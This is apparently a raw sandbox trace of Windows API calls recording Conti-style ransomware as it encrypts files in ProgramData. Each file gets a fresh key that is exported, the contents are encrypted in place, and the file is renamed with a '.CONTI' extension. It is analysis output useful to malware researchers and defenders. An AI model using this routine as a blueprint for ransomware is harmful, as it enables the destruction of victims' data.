	[0114.663] ReadFile (in: hFile=0x3e0, lpBuffer=0x11200000, nNumberOfBytesToRead=0x2ca, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x2ca, lpOverlapped=0x0) returned 1
	[0114.663] CryptEncrypt (in: hKey=0x6b7f3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x2ca, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x2d0) returned 1
	[0114.664] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.664] WriteFile (in: hFile=0x3e0, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0x2d0, lpOverlapped=0x0) returned 1
	[0114.664] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.664] WriteFile (in: hFile=0x3e0, lpBuffer=0x65d6e18*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x59bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x65d6e18*, lpNumberOfBytesWritten=0x59bf7d8*=0x8, lpOverlapped=0x0) returned 1
	[0114.664] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.664] CloseHandle (hObject=0x3e0) returned 1
	[0114.664] GetProcessHeap () returned 0x1720000
	[0114.664] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0114.664] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\9__Connections_Cellular_Optus (Australia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\9__Connections_Cellular_Optus (Australia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\9__Connections_Cellular_Optus (Australia)_i0$(__MVID)@WAP.provxml"
	[0114.664] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\9__Connections_Cellular_Optus (Australia)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\9__Connections_Cellular_Optus (Australia)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\9__Connections_Cellular_Optus (Australia)_i0$(__MVID)@WAP.provxml.CONTI"
	[0114.664] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\9__Connections_Cellular_Optus (Australia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\9__connections_cellular_optus (australia)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\9__Connections_Cellular_Optus (Australia)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\9__connections_cellular_optus (australia)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0114.665] GetProcessHeap () returned 0x1720000
	[0114.665] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0114.665] CryptDestroyKey (hKey=0x6b7f3b8) returned 1
	[0114.665] GetProcessHeap () returned 0x1720000
	[0114.665] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b57e08 | out: hHeap=0x1720000) returned 1
	[0114.665] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c) returned 1
	[0114.665] CryptGenKey (in: hProv=0x176c5f0, Algid=0x6610, dwFlags=0x1, phKey=0x65d6990 | out: phKey=0x65d6990*=0x6b7f0b8) returned 1
	[0114.665] CryptExportKey (in: hKey=0x6b7f0b8, hExpKey=0x175e370, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d6994, pdwDataLen=0x59bf7d4 | out: pbData=0x65d6994*, pdwDataLen=0x59bf7d4*=0x20c) returned 1
	[0114.666] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime.xml")) returned 0x20
	[0114.666] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0114.666] GetLastError () returned 0x0
	[0114.666] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x59bf780 | out: lpFileSize=0x59bf780*=311059) returned 1
	[0114.666] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4bf13
	[0114.666] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.666] SetEndOfFile (hFile=0x3e0) returned 1
	[0114.667] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.667] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.667] WriteFile (in: hFile=0x3e0, lpBuffer=0x65d6994*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x59bf78c, lpOverlapped=0x0 | out: lpBuffer=0x65d6994*, lpNumberOfBytesWritten=0x59bf78c*=0x20c, lpOverlapped=0x0) returned 1
	[0115.267] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.267] ReadFile (in: hFile=0x3e0, lpBuffer=0x11200000, nNumberOfBytesToRead=0x4bf13, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x4bf13, lpOverlapped=0x0) returned 1
	[0115.270] CryptEncrypt (in: hKey=0x6b7f0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x4bf13, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x4bf20) returned 1
	[0115.270] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.270] WriteFile (in: hFile=0x3e0, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0x4bf20, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0x4bf20, lpOverlapped=0x0) returned 1
	[0115.271] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.271] WriteFile (in: hFile=0x3e0, lpBuffer=0x65d6988*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x59bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x65d6988*, lpNumberOfBytesWritten=0x59bf7d8*=0x8, lpOverlapped=0x0) returned 1
	[0115.271] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.271] CloseHandle (hObject=0x3e0) returned 1
	[0115.271] GetProcessHeap () returned 0x1720000
	[0115.271] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0115.271] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml"
	[0115.271] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml.CONTI"
	[0115.271] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime.xml.conti")) returned 1
	[0115.272] GetProcessHeap () returned 0x1720000
	[0115.272] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0115.272] CryptDestroyKey (hKey=0x6b7f0b8) returned 1
	[0115.272] GetProcessHeap () returned 0x1720000
	[0115.272] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6510e88 | out: hHeap=0x1720000) returned 1
	[0115.272] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c) returned 1
	[0115.273] CryptGenKey (in: hProv=0x176c5f0, Algid=0x6610, dwFlags=0x1, phKey=0x65d2bf8 | out: phKey=0x65d2bf8*=0x6b7f278) returned 1
	[0115.273] CryptExportKey (in: hKey=0x6b7f278, hExpKey=0x175e370, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d2bfc, pdwDataLen=0x59bf7d4 | out: pbData=0x65d2bfc*, pdwDataLen=0x59bf7d4*=0x20c) returned 1
	[0115.273] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-40.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-40.png")) returned 0x20
	[0115.274] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-40.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-40.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0115.274] GetLastError () returned 0x0
	[0115.274] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x59bf780 | out: lpFileSize=0x59bf780*=433) returned 1
	[0115.274] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1b1
	[0115.274] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.274] SetEndOfFile (hFile=0x3e0) returned 1
	[0115.275] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.276] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.276] WriteFile (in: hFile=0x3e0, lpBuffer=0x65d2bfc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x59bf78c, lpOverlapped=0x0 | out: lpBuffer=0x65d2bfc*, lpNumberOfBytesWritten=0x59bf78c*=0x20c, lpOverlapped=0x0) returned 1
	[0115.277] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.277] ReadFile (in: hFile=0x3e0, lpBuffer=0x11200000, nNumberOfBytesToRead=0x1b1, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x1b1, lpOverlapped=0x0) returned 1
	[0115.277] CryptEncrypt (in: hKey=0x6b7f278, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x1b1, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x1c0) returned 1
	[0115.277] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.277] WriteFile (in: hFile=0x3e0, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0x1c0, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0x1c0, lpOverlapped=0x0) returned 1
	[0115.278] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.278] WriteFile (in: hFile=0x3e0, lpBuffer=0x65d2bf0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x59bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x65d2bf0*, lpNumberOfBytesWritten=0x59bf7d8*=0x8, lpOverlapped=0x0) returned 1
	[0115.278] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.278] CloseHandle (hObject=0x3e0) returned 1
	[0115.278] GetProcessHeap () returned 0x1720000
	[0115.278] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0115.278] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-40.png" | out: lpString1="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-40.png") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-40.png"
	[0115.278] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-40.png", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-40.png.CONTI") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-40.png.CONTI"
	[0115.278] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-40.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-40.png"), lpNewFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-40.png.CONTI" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-40.png.conti")) returned 1
	[0115.279] GetProcessHeap () returned 0x1720000
	[0115.279] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0115.279] CryptDestroyKey (hKey=0x6b7f278) returned 1
	[0115.279] GetProcessHeap () returned 0x1720000
	[0115.279] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7ae40 | out: hHeap=0x1720000) returned 1
	[0115.279] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c) returned 1
	[0115.279] CryptGenKey (in: hProv=0x176c5f0, Algid=0x6610, dwFlags=0x1, phKey=0x65cf2f0 | out: phKey=0x65cf2f0*=0x6b7f138) returned 1
	[0115.279] CryptExportKey (in: hKey=0x6b7f138, hExpKey=0x175e370, dwBlobType=0x1, dwFlags=0x0, pbData=0x65cf2f4, pdwDataLen=0x59bf7d4 | out: pbData=0x65cf2f4*, pdwDataLen=0x59bf7d4*=0x20c) returned 1
	[0115.280] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-48.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-48.png")) returned 0x20
	[0115.280] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-48.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-48.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0115.280] GetLastError () returned 0x0
	[0115.280] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x59bf780 | out: lpFileSize=0x59bf780*=501) returned 1
	[0115.280] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1f5
	[0115.280] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.280] SetEndOfFile (hFile=0x3e0) returned 1
	[0115.281] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.281] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.281] WriteFile (in: hFile=0x3e0, lpBuffer=0x65cf2f4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x59bf78c, lpOverlapped=0x0 | out: lpBuffer=0x65cf2f4*, lpNumberOfBytesWritten=0x59bf78c*=0x20c, lpOverlapped=0x0) returned 1
	[0115.282] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.282] ReadFile (in: hFile=0x3e0, lpBuffer=0x11200000, nNumberOfBytesToRead=0x1f5, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x1f5, lpOverlapped=0x0) returned 1
	[0115.282] CryptEncrypt (in: hKey=0x6b7f138, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x1f5, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x200) returned 1
	[0115.282] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.282] WriteFile (in: hFile=0x3e0, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0x200, lpOverlapped=0x0) returned 1
	[0115.282] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.282] WriteFile (in: hFile=0x3e0, lpBuffer=0x65cf2e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x59bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x65cf2e8*, lpNumberOfBytesWritten=0x59bf7d8*=0x8, lpOverlapped=0x0) returned 1
	[0115.282] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.282] CloseHandle (hObject=0x3e0) returned 1
	[0115.282] GetProcessHeap () returned 0x1720000
	[0115.282] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0115.282] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-48.png" | out: lpString1="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-48.png") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-48.png"
	[0115.282] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-48.png", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-48.png.CONTI") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-48.png.CONTI"
	[0115.282] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-48.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-48.png"), lpNewFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-48.png.CONTI" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-48.png.conti")) returned 1
	[0115.283] GetProcessHeap () returned 0x1720000
	[0115.283] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0115.283] CryptDestroyKey (hKey=0x6b7f138) returned 1
	[0115.283] GetProcessHeap () returned 0x1720000
	[0115.283] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7a940 | out: hHeap=0x1720000) returned 1
	[0115.283] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x59bf7fc, lpCompletionKey=0x59bf800, lpOverlapped=0x59bf80c) returned 1
	[0115.283] CryptGenKey (in: hProv=0x176c5f0, Algid=0x6610, dwFlags=0x1, phKey=0x65d09c0 | out: phKey=0x65d09c0*=0x6b7f538) returned 1
	[0115.283] CryptExportKey (in: hKey=0x6b7f538, hExpKey=0x175e370, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d09c4, pdwDataLen=0x59bf7d4 | out: pbData=0x65d09c4*, pdwDataLen=0x59bf7d4*=0x20c) returned 1
	[0115.284] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.bmp")) returned 0x20
	[0115.284] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0115.284] GetLastError () returned 0x0
	[0115.284] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x59bf780 | out: lpFileSize=0x59bf780*=602168) returned 1
	[0115.284] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x93038
	[0115.284] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.284] SetEndOfFile (hFile=0x3e0) returned 1
	[0115.284] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.284] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.285] WriteFile (in: hFile=0x3e0, lpBuffer=0x65d09c4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x59bf78c, lpOverlapped=0x0 | out: lpBuffer=0x65d09c4*, lpNumberOfBytesWritten=0x59bf78c*=0x20c, lpOverlapped=0x0) returned 1
	[0115.288] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.288] ReadFile (in: hFile=0x3e0, lpBuffer=0x11200000, nNumberOfBytesToRead=0x93038, lpNumberOfBytesRead=0x59bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesRead=0x59bf7ac*=0x93038, lpOverlapped=0x0) returned 1
	[0115.293] CryptEncrypt (in: hKey=0x6b7f538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x93038, dwBufLen=0x500000 | out: pbData=0x11200000*, pdwDataLen=0x59bf7a4*=0x93040) returned 1
	[0115.294] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.294] WriteFile (in: hFile=0x3e0, lpBuffer=0x11200000*, nNumberOfBytesToWrite=0x93040, lpNumberOfBytesWritten=0x59bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x11200000*, lpNumberOfBytesWritten=0x59bf7c0*=0x93040, lpOverlapped=0x0) returned 1
	[0115.295] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.296] WriteFile (in: hFile=0x3e0, lpBuffer=0x65d09b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x59bf7d8, lpOverlapped=0x0 | out: lpBuffer=0x65d09b8*, lpNumberOfBytesWritten=0x59bf7d8*=0x8, lpOverlapped=0x0) returned 1
	[0115.296] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.296] CloseHandle (hObject=0x3e0) returned 1
	[0115.296] GetProcessHeap () returned 0x1720000
	[0115.296] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0115.296] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp" | out: lpString1="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp"
